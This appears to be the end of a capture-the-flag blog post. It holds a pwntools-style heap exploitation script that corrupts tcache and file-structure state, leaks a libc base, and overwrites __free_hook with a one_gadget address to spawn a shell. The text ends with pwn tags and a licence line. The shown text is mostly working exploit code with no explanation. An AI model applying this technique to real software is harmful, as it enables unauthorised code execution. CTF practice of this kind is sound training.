    sla('ice','5')
for i in range(8):
    add(i,0x100)

add(8,0x18)

for i in range(7):
    free(i)
openfile()

add(9,0x18)
add(0,0x18)
free(7)
data = p64(0) + p64(0x8040 + 0x20 + 0x110)
edit(8,-0x120,0x100,data)
data = p64(0x8170) + p64(0x20)
edit(0,-0x30,0x18,data)
closefile()
add(1,0x90)
add(2,0x70)
add(3,0x60)
data = p64(0x121111111111)[:6]
print(data)
edit(0,-0x7fd8-0x30+2,0x8,data)
closefile()
ru('\x12')
libc_base = uu64(r(6)) - 0x3ebca0
info_addr('libc_base',libc_base)


data = p64(0x000000000000)[:6]
edit(0,-0x7fd8-0x30+2,0x8,data)
free_hook = 0x3ed8e8 + libc_base
one = 0x4f322 + libc_base
data = '1' * 8
edit(0,-0x82a0,8,p64(free_hook))
add(4,0x100)
add(5,0x100)
edit(5,0,8,p64(one))
free(4)
# debug()
itr()


re pwn

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!